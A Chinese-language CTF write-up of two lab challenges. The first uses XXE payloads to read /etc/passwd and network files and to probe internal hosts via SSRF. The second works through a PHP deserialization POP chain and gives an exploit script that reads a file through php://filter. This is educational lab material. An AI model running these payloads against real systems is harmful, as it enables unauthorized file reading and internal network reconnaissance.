[NCTF2019]True XML cookbook(xxe漏洞利用)
这题是关于xxe漏洞的实际应用,利用xxe漏洞的外部实体来进行ssrf探针内网的主机
和[NCTF2019]Fake XML cookbook的区别就在于xxe漏洞的利用方向,一个是命令执行,一个是SSRF
看题,打开环境,熟悉的登录框
正常的抓包进行分析,明显的xxe漏洞
开始构造,先查看xxe漏洞能不能正常利用
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file:///etc/passwd">]>
<user><username>&admin;</username><password>123</password></user>
存在xxe漏洞并且能够正常利用,我在做题时想的是直接查看flag文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file://flag">]>
<user><username>&admin;</username><password>123</password></user>
报错了,说明flag这个文件不存在,也许我们在外网不能正常访问,xxe的漏洞利用就可以探针内网,尝试访问内网看看
/etc/hosts,/proc/net/arp,/proc/net/fib_trie 这三个命令是探测内网的命令,是查看存活主机和主机ip,mac地址
发现有存活主机,但是有用信息不多
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file:///etc/hosts">]>
<user><username>&admin;</username><password>123</password></user>
前两个命令的反馈不是很多,第三个发现了ip地址
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file:///proc/net/fib_trie">]>
<user><username>&admin;</username><password>123</password></user>
访问主机ip,看能不能有flag
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file://http://10.244.80.159">]>
<user><username>&admin;</username><password>123</password></user>
还是没有flag,说明不在这台主机上,我们需要在内网中的其他主机尝试,就需要对这个网段下的主机ip进行爆破,抓包后发送到爆破模块
在爆破后查看各主机ip下的回显
[HNCTF 2022 WEEK4]pop子和pipi美
打开环境,给了个参数应该要传参,但是不知道传什么,题目给了一个番,是看了wp才知道是番的url
拿到源码
<?php
error_reporting(0);
//flag is in f14g.php
class Popuko {private $No_893;public function POP_TEAM_EPIC(){$WEBSITE = "MANGA LIFE WIN";}public function __invoke(){$this->append($this->No_893);}public function append($anti_takeshobo){include($anti_takeshobo);}
}class Pipimi{public $pipi;public function PIPIPMI(){$h = "超喜欢POP子ww,你也一样对吧(举刀)";}public function __construct(){echo "Pipi美永远不会生气ww";$this->pipi = array();}public function __get($corepop){$function = $this->p;return $function();}
}
class Goodsisters{public function PopukoPipimi(){$is = "Good sisters";}public $kiminonawa,$str;public function __construct($file='index.php'){$this->kiminonawa = $file;echo 'Welcome to HNCTF2022 ,';echo 'This is '.$this->kiminonawa."<br>";}public function __toString(){return $this->str->kiminonawa;}public function __wakeup(){if(preg_match("/popzi|flag|cha|https|http|file|dict|ftp|pipimei|gopher|\.\./i", $this->kiminonawa)) {echo "仲良ピース!";$this->kiminonawa = "index.php";}}
}if(isset($_GET['pop'])) @unserialize($_GET['pop']); else{$a=new Goodsisters;if(isset($_GET['pop_EP']) && $_GET['pop_EP'] == "ep683045"){highlight_file(__FILE__);echo '欸嘿,你也喜欢pop子~对吧ww';}
}
ok,确定是pop链,那么就详细讲讲我的思路构建pop链,当时我做还是有一部分错误
思路:优先找到链尾,根据链尾进行反推至链头,寻找链尾,链尾是有高危函数的,可以帮助我们实现需要的文件读取或者命令执行,这题提示flag在fl4g.php,明显是文件包含,对于文件包含最熟悉的就是include
找到include,作为链尾,分析一下调用到include,当触发append方法时,会执行include,append在invoke中进行了调用并且还调用的私有变量,所以我们就可以对私有变量进行赋值,触发invoke后就可以进行文件包含
class Popuko {private $No_893;public function POP_TEAM_EPIC(){$WEBSITE = "MANGA LIFE WIN";}public function __invoke(){$this->append($this->No_893);}public function append($anti_takeshobo){include($anti_takeshobo);}
}
invoke方法在以调用方法的方式调用对象时触发
get方法里面在$function中调用了对象p,所以在对象p调用invoke方法
class Pipimi{public $pipi;public function PIPIPMI(){$h = "超喜欢POP子ww,你也一样对吧(举刀)";}public function __construct(){echo "Pipi美永远不会生气ww";$this->pipi = array();}public function __get($corepop){$function = $this->p;return $function();}
}
get方法在访问不存在的变量时触发
看见一串奇怪的代码,在Goodsisters中str和kiminonawa都是公有变量,但是这里用str调用kiminonawa显然是没有办法调用的,两个变量是平行的关系,所以在调用liminonawa时,是不存在的,可以触发get方法
public function __toString(){return $this->str->kiminonawa;}
tostring方法在被当做字符串输出时触发,在所处的类中就有construct调用的变量输出,echo,所以直接类中construct就能触发
现在从链头到链尾都能通顺,开始写exp
<?php
class Popuko {private $No_893='php://filter/convert.base64-encode/resource=f14g.php';
}class Pipimi{ public $pipi;
}
class Goodsisters{public $kiminonawa,$str;
}
$g=new Goodsisters;
$g->kiminonawa=new Goodsisters;
$p=new Pipimi;
$g->kiminonawa->str=$p;
$a=new Popuko;
$p->p=$a;
echo urlencode(serialize($g));
进行base64解码